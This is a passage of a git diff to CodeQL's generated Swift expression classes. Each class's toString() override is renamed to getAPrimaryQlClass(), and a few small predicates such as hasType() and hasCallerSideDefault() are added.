+++ b/swift/ql/lib/codeql/swift/generated/expr/ArchetypeToSuperExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ArchetypeToSuperExprBase extends @archetype_to_super_expr, ImplicitConversionExpr {
-  override string toString() { result = "ArchetypeToSuperExpr" }
+  override string getAPrimaryQlClass() { result = "ArchetypeToSuperExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/Argument.qll b/swift/ql/lib/codeql/swift/generated/expr/Argument.qll
index e64f57b13f3..9f16b90e3fe 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/Argument.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/Argument.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.Element
 import codeql.swift.elements.expr.Expr
 
 class ArgumentBase extends @argument, Element {
-  override string toString() { result = "Argument" }
+  override string getAPrimaryQlClass() { result = "Argument" }
 
   string getLabel() { arguments(this, result, _) }
 
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ArrayExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ArrayExpr.qll
index 74af871bc6b..e62af8dde55 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ArrayExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ArrayExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.CollectionExpr
 import codeql.swift.elements.expr.Expr
 
 class ArrayExprBase extends @array_expr, CollectionExpr {
-  override string toString() { result = "ArrayExpr" }
+  override string getAPrimaryQlClass() { result = "ArrayExpr" }
 
   Expr getElement(int index) {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ArrayToPointerExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ArrayToPointerExpr.qll
index 9eb43a5eafe..0eef1004773 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ArrayToPointerExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ArrayToPointerExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ArrayToPointerExprBase extends @array_to_pointer_expr, ImplicitConversionExpr {
-  override string toString() { result = "ArrayToPointerExpr" }
+  override string getAPrimaryQlClass() { result = "ArrayToPointerExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ArrowExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ArrowExpr.qll
index a42bf380eee..a10d68af913 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ArrowExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ArrowExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class ArrowExprBase extends @arrow_expr, Expr {
-  override string toString() { result = "ArrowExpr" }
+  override string getAPrimaryQlClass() { result = "ArrowExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/AssignExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/AssignExpr.qll
index d5c4c81a42a..b733f8fc3e2 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/AssignExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/AssignExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class AssignExprBase extends @assign_expr, Expr {
-  override string toString() { result = "AssignExpr" }
+  override string getAPrimaryQlClass() { result = "AssignExpr" }
 
   Expr getDest() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/AutoClosureExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/AutoClosureExpr.qll
index 4c31a494205..f25248ed0fb 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/AutoClosureExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/AutoClosureExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.AbstractClosureExpr
 import codeql.swift.elements.stmt.BraceStmt
 
 class AutoClosureExprBase extends @auto_closure_expr, AbstractClosureExpr {
-  override string toString() { result = "AutoClosureExpr" }
+  override string getAPrimaryQlClass() { result = "AutoClosureExpr" }
 
   BraceStmt getBody() {
     exists(BraceStmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/AwaitExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/AwaitExpr.qll
index 73a79322d30..e18243db73a 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/AwaitExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/AwaitExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.IdentityExpr
 
 class AwaitExprBase extends @await_expr, IdentityExpr {
-  override string toString() { result = "AwaitExpr" }
+  override string getAPrimaryQlClass() { result = "AwaitExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/BinaryExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/BinaryExpr.qll
index f30bfc9b2cd..54895bbf294 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/BinaryExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/BinaryExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ApplyExpr
 
 class BinaryExprBase extends @binary_expr, ApplyExpr {
-  override string toString() { result = "BinaryExpr" }
+  override string getAPrimaryQlClass() { result = "BinaryExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/BindOptionalExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/BindOptionalExpr.qll
index 335cd5d4038..9cd270891ea 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/BindOptionalExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/BindOptionalExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class BindOptionalExprBase extends @bind_optional_expr, Expr {
-  override string toString() { result = "BindOptionalExpr" }
+  override string getAPrimaryQlClass() { result = "BindOptionalExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/BooleanLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/BooleanLiteralExpr.qll
index 9eb96b658bb..853c8f08629 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/BooleanLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/BooleanLiteralExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.BuiltinLiteralExpr
 
 class BooleanLiteralExprBase extends @boolean_literal_expr, BuiltinLiteralExpr {
-  override string toString() { result = "BooleanLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "BooleanLiteralExpr" }
 
   boolean getValue() { boolean_literal_exprs(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/BridgeFromObjCExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/BridgeFromObjCExpr.qll
index 0494883b44f..fc30c1b3f81 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/BridgeFromObjCExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/BridgeFromObjCExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class BridgeFromObjCExprBase extends @bridge_from_obj_c_expr, ImplicitConversionExpr {
-  override string toString() { result = "BridgeFromObjCExpr" }
+  override string getAPrimaryQlClass() { result = "BridgeFromObjCExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/BridgeToObjCExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/BridgeToObjCExpr.qll
index c880a148dab..da3cf85dc97 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/BridgeToObjCExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/BridgeToObjCExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class BridgeToObjCExprBase extends @bridge_to_obj_c_expr, ImplicitConversionExpr {
-  override string toString() { result = "BridgeToObjCExpr" }
+  override string getAPrimaryQlClass() { result = "BridgeToObjCExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/CallExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/CallExpr.qll
index 3fa6f1eef40..55dd803ce7d 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/CallExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/CallExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ApplyExpr
 
 class CallExprBase extends @call_expr, ApplyExpr {
-  override string toString() { result = "CallExpr" }
+  override string getAPrimaryQlClass() { result = "CallExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/CaptureListExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/CaptureListExpr.qll
index 6f7985c2098..5e273ab1e4c 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/CaptureListExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/CaptureListExpr.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.decl.PatternBindingDecl
 
 class CaptureListExprBase extends @capture_list_expr, Expr {
-  override string toString() { result = "CaptureListExpr" }
+  override string getAPrimaryQlClass() { result = "CaptureListExpr" }
 
   PatternBindingDecl getBindingDecl(int index) {
     exists(PatternBindingDecl x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ClassMetatypeToObjectExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ClassMetatypeToObjectExpr.qll
index b06e736ec5b..aaae45957cf 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ClassMetatypeToObjectExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ClassMetatypeToObjectExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ClassMetatypeToObjectExprBase extends @class_metatype_to_object_expr, ImplicitConversionExpr {
-  override string toString() { result = "ClassMetatypeToObjectExpr" }
+  override string getAPrimaryQlClass() { result = "ClassMetatypeToObjectExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ClosureExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ClosureExpr.qll
index 97439eb8316..e1c1261654c 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ClosureExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ClosureExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.AbstractClosureExpr
 import codeql.swift.elements.stmt.BraceStmt
 
 class ClosureExprBase extends @closure_expr, AbstractClosureExpr {
-  override string toString() { result = "ClosureExpr" }
+  override string getAPrimaryQlClass() { result = "ClosureExpr" }
 
   BraceStmt getBody() {
     exists(BraceStmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/CodeCompletionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/CodeCompletionExpr.qll
index 31653297bde..853f721ebb9 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/CodeCompletionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/CodeCompletionExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class CodeCompletionExprBase extends @code_completion_expr, Expr {
-  override string toString() { result = "CodeCompletionExpr" }
+  override string getAPrimaryQlClass() { result = "CodeCompletionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/CoerceExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/CoerceExpr.qll
index 4d7df95eb6b..b11218595cb 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/CoerceExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/CoerceExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ExplicitCastExpr
 
 class CoerceExprBase extends @coerce_expr, ExplicitCastExpr {
-  override string toString() { result = "CoerceExpr" }
+  override string getAPrimaryQlClass() { result = "CoerceExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/CollectionUpcastConversionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/CollectionUpcastConversionExpr.qll
index 434261d6fc2..92dab3f54e0 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/CollectionUpcastConversionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/CollectionUpcastConversionExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class CollectionUpcastConversionExprBase extends @collection_upcast_conversion_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "CollectionUpcastConversionExpr" }
+  override string getAPrimaryQlClass() { result = "CollectionUpcastConversionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ConditionalBridgeFromObjCExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ConditionalBridgeFromObjCExpr.qll
index dfdde979082..20a192b6c03 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ConditionalBridgeFromObjCExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ConditionalBridgeFromObjCExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ConditionalBridgeFromObjCExprBase extends @conditional_bridge_from_obj_c_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "ConditionalBridgeFromObjCExpr" }
+  override string getAPrimaryQlClass() { result = "ConditionalBridgeFromObjCExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ConditionalCheckedCastExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ConditionalCheckedCastExpr.qll
index 3a6ecc63714..d38199d4275 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ConditionalCheckedCastExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ConditionalCheckedCastExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.CheckedCastExpr
 
 class ConditionalCheckedCastExprBase extends @conditional_checked_cast_expr, CheckedCastExpr {
-  override string toString() { result = "ConditionalCheckedCastExpr" }
+  override string getAPrimaryQlClass() { result = "ConditionalCheckedCastExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ConstructorRefCallExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ConstructorRefCallExpr.qll
index cd573bd87d6..6d379b8576b 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ConstructorRefCallExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ConstructorRefCallExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.SelfApplyExpr
 
 class ConstructorRefCallExprBase extends @constructor_ref_call_expr, SelfApplyExpr {
-  override string toString() { result = "ConstructorRefCallExpr" }
+  override string getAPrimaryQlClass() { result = "ConstructorRefCallExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/CovariantFunctionConversionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/CovariantFunctionConversionExpr.qll
index f641ee17558..56837b28e22 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/CovariantFunctionConversionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/CovariantFunctionConversionExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class CovariantFunctionConversionExprBase extends @covariant_function_conversion_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "CovariantFunctionConversionExpr" }
+  override string getAPrimaryQlClass() { result = "CovariantFunctionConversionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/CovariantReturnConversionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/CovariantReturnConversionExpr.qll
index 79b86e32eec..1df6850ead7 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/CovariantReturnConversionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/CovariantReturnConversionExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class CovariantReturnConversionExprBase extends @covariant_return_conversion_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "CovariantReturnConversionExpr" }
+  override string getAPrimaryQlClass() { result = "CovariantReturnConversionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DeclRefExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DeclRefExpr.qll
index 08816d46d36..11d81e5aecf 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DeclRefExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DeclRefExpr.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.type.Type
 
 class DeclRefExprBase extends @decl_ref_expr, Expr {
-  override string toString() { result = "DeclRefExpr" }
+  override string getAPrimaryQlClass() { result = "DeclRefExpr" }
 
   Decl getDecl() {
     exists(Decl x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DefaultArgumentExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DefaultArgumentExpr.qll
index a4954a6214b..e959c9c4a44 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DefaultArgumentExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DefaultArgumentExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.decl.ParamDecl
 
 class DefaultArgumentExprBase extends @default_argument_expr, Expr {
-  override string toString() { result = "DefaultArgumentExpr" }
+  override string getAPrimaryQlClass() { result = "DefaultArgumentExpr" }
 
   ParamDecl getParamDecl() {
     exists(ParamDecl x |
@@ -20,4 +20,6 @@ class DefaultArgumentExprBase extends @default_argument_expr, Expr {
       result = x.resolve()
     )
   }
+
+  predicate hasCallerSideDefault() { exists(getCallerSideDefault()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DerivedToBaseExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DerivedToBaseExpr.qll
index 627944b988c..96ab92b74a9 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DerivedToBaseExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DerivedToBaseExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class DerivedToBaseExprBase extends @derived_to_base_expr, ImplicitConversionExpr {
-  override string toString() { result = "DerivedToBaseExpr" }
+  override string getAPrimaryQlClass() { result = "DerivedToBaseExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DestructureTupleExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DestructureTupleExpr.qll
index 7118ab2f2a0..e21812e0c3d 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DestructureTupleExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DestructureTupleExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class DestructureTupleExprBase extends @destructure_tuple_expr, ImplicitConversionExpr {
-  override string toString() { result = "DestructureTupleExpr" }
+  override string getAPrimaryQlClass() { result = "DestructureTupleExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DictionaryExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DictionaryExpr.qll
index 8e9e896db3a..1daef547291 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DictionaryExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DictionaryExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.CollectionExpr
 import codeql.swift.elements.expr.Expr
 
 class DictionaryExprBase extends @dictionary_expr, CollectionExpr {
-  override string toString() { result = "DictionaryExpr" }
+  override string getAPrimaryQlClass() { result = "DictionaryExpr" }
 
   Expr getElement(int index) {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExpr.qll
index 47e6c0235aa..1b27a3888be 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class DifferentiableFunctionExprBase extends @differentiable_function_expr, ImplicitConversionExpr {
-  override string toString() { result = "DifferentiableFunctionExpr" }
+  override string getAPrimaryQlClass() { result = "DifferentiableFunctionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExtractOriginalExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExtractOriginalExpr.qll
index c28b0947cbd..039056df150 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExtractOriginalExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DifferentiableFunctionExtractOriginalExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class DifferentiableFunctionExtractOriginalExprBase extends @differentiable_function_extract_original_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "DifferentiableFunctionExtractOriginalExpr" }
+  override string getAPrimaryQlClass() { result = "DifferentiableFunctionExtractOriginalExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DiscardAssignmentExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DiscardAssignmentExpr.qll
index 5d067a0450a..3e1971fbc61 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DiscardAssignmentExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DiscardAssignmentExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class DiscardAssignmentExprBase extends @discard_assignment_expr, Expr {
-  override string toString() { result = "DiscardAssignmentExpr" }
+  override string getAPrimaryQlClass() { result = "DiscardAssignmentExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DotSelfExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DotSelfExpr.qll
index 8ade301e4c6..4c93babb697 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DotSelfExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DotSelfExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.IdentityExpr
 
 class DotSelfExprBase extends @dot_self_expr, IdentityExpr {
-  override string toString() { result = "DotSelfExpr" }
+  override string getAPrimaryQlClass() { result = "DotSelfExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxBaseIgnoredExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxBaseIgnoredExpr.qll
index aa1e4a8fd61..bf5f76b3229 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxBaseIgnoredExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxBaseIgnoredExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class DotSyntaxBaseIgnoredExprBase extends @dot_syntax_base_ignored_expr, Expr {
-  override string toString() { result = "DotSyntaxBaseIgnoredExpr" }
+  override string getAPrimaryQlClass() { result = "DotSyntaxBaseIgnoredExpr" }
 
   Expr getQualifier() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxCallExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxCallExpr.qll
index 34eae4c9878..c026f329bce 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxCallExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DotSyntaxCallExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.SelfApplyExpr
 
 class DotSyntaxCallExprBase extends @dot_syntax_call_expr, SelfApplyExpr {
-  override string toString() { result = "DotSyntaxCallExpr" }
+  override string getAPrimaryQlClass() { result = "DotSyntaxCallExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DynamicMemberRefExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DynamicMemberRefExpr.qll
index b7e0bcd60ef..fd4291b5ee0 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DynamicMemberRefExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DynamicMemberRefExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.DynamicLookupExpr
 
 class DynamicMemberRefExprBase extends @dynamic_member_ref_expr, DynamicLookupExpr {
-  override string toString() { result = "DynamicMemberRefExpr" }
+  override string getAPrimaryQlClass() { result = "DynamicMemberRefExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DynamicSubscriptExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DynamicSubscriptExpr.qll
index 9b6e61edd1e..a920f1b4329 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DynamicSubscriptExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DynamicSubscriptExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.DynamicLookupExpr
 
 class DynamicSubscriptExprBase extends @dynamic_subscript_expr, DynamicLookupExpr {
-  override string toString() { result = "DynamicSubscriptExpr" }
+  override string getAPrimaryQlClass() { result = "DynamicSubscriptExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/DynamicTypeExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/DynamicTypeExpr.qll
index 6a2ea93be0f..c43659d6dd1 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/DynamicTypeExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/DynamicTypeExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class DynamicTypeExprBase extends @dynamic_type_expr, Expr {
-  override string toString() { result = "DynamicTypeExpr" }
+  override string getAPrimaryQlClass() { result = "DynamicTypeExpr" }
 
   Expr getBaseExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/EditorPlaceholderExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/EditorPlaceholderExpr.qll
index 29018732f81..ce5397171b7 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/EditorPlaceholderExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/EditorPlaceholderExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class EditorPlaceholderExprBase extends @editor_placeholder_expr, Expr {
-  override string toString() { result = "EditorPlaceholderExpr" }
+  override string getAPrimaryQlClass() { result = "EditorPlaceholderExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/EnumIsCaseExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/EnumIsCaseExpr.qll
index a7ec82fb94a..e02b97813a4 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/EnumIsCaseExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/EnumIsCaseExpr.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.typerepr.TypeRepr
 
 class EnumIsCaseExprBase extends @enum_is_case_expr, Expr {
-  override string toString() { result = "EnumIsCaseExpr" }
+  override string getAPrimaryQlClass() { result = "EnumIsCaseExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ErasureExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ErasureExpr.qll
index 68eeed8a6a1..9e3a585d8e7 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ErasureExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ErasureExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ErasureExprBase extends @erasure_expr, ImplicitConversionExpr {
-  override string toString() { result = "ErasureExpr" }
+  override string getAPrimaryQlClass() { result = "ErasureExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ErrorExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ErrorExpr.qll
index b364ba3662f..224560ba9a6 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ErrorExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ErrorExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class ErrorExprBase extends @error_expr, Expr {
-  override string toString() { result = "ErrorExpr" }
+  override string getAPrimaryQlClass() { result = "ErrorExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ExistentialMetatypeToObjectExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ExistentialMetatypeToObjectExpr.qll
index def4df70dc8..065a08ad391 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ExistentialMetatypeToObjectExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/ExistentialMetatypeToObjectExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class ExistentialMetatypeToObjectExprBase extends @existential_metatype_to_object_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "ExistentialMetatypeToObjectExpr" }
+  override string getAPrimaryQlClass() { result = "ExistentialMetatypeToObjectExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/Expr.qll b/swift/ql/lib/codeql/swift/generated/expr/Expr.qll
index 77e18eecc4f..281d30988a9 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/Expr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/Expr.qll
@@ -9,4 +9,6 @@ class ExprBase extends @expr, AstNode {
       result = x.resolve()
     )
   }
+
+  predicate hasType() { exists(getType()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/FloatLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/FloatLiteralExpr.qll
